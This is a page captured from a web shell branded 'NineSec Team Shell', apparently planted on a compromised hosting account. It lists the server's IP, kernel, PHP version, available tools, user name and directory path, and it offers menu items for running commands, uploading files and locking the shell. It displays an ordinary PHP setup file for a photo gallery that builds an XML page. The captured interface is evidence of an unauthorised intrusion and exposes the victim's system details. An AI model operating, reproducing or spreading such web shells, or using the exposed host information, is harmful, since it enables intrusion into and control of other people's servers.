gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 172.19.0.3  /  Your IP : 216.73.216.178
Web Server : Apache/2.4
System : Linux 880f91b28fd7 5.15.0-117-generic #127~20.04.1-Ubuntu SMP Thu Jul 11 15:36:12 UTC 2024 x86_64
User : tomlinde ( 155017)
PHP Version : 5.6.40
Disable Function : dl, syslog, opcache_get_status
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0700) :  /home/webpages/lima-city/tomlinde/html/biblog/../galerymaikai/internals/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/webpages/lima-city/tomlinde/html/biblog/../galerymaikai/internals/setup.php
<?php
/*
SETUP

What to do?
#check for available modules / capabilities:
- zip
- xslt
- downloads
- gd ()

#set variables
- title
- if-password
 + password

#set silent update
options: updates automatisch, updates fragen, updates nicht checken

#create cache

#create pictures_directory
*/
/*mkdirP("../pictures");

mkdirP("../cache");
mkdirP("../cache/original");
mkdirP("../cache/300x300");
mkdirP("../cache/1280x1024");

function mkdirP($path){
	if(!file_exists($path))
		mkdir($path, 0755, true);
}*/

class GalleryPage extends DOMDocument {
	public $xPath;
	
	public function __construct($version, $encoding)
	{
	    parent::__construct($version = "1.0", $encoding = "utf-8");
	    $this->formatOuput = true;
	    $this->createProcessingInstruction("xml-stylesheet", 'type="text/xsl" href="themes/default/setup.xsl"');
	    $this->xpath = new DOMXPath($this);
	}
	
	public function addElement($parentPath, $name, $value = NULL){
		if($parentPath == "/"){
			$base = $this;
		} else {
			$entries = $this->xpath->query($parentPath);
			if($entries->length > 0){
				$base = $entries->item($entries->length-1);
			} else {
				throw new Exception("xPath not found: ".$parentPath);
			}
		}
		$element = $this->createElement($name, $value);
		$base->appendChild($element);
	}
}

$setupPage = new GalleryPage("1.0", "utf-8");
$setupPage->formatOuput = true;
$setupPage->addElement("/", "page", "test");
$setupPage->addElement("/page", "test", "test");
$setupPage->addElement("/page", "test", "");
echo $setupPage->saveXML();

?>

NineSec Team - 2022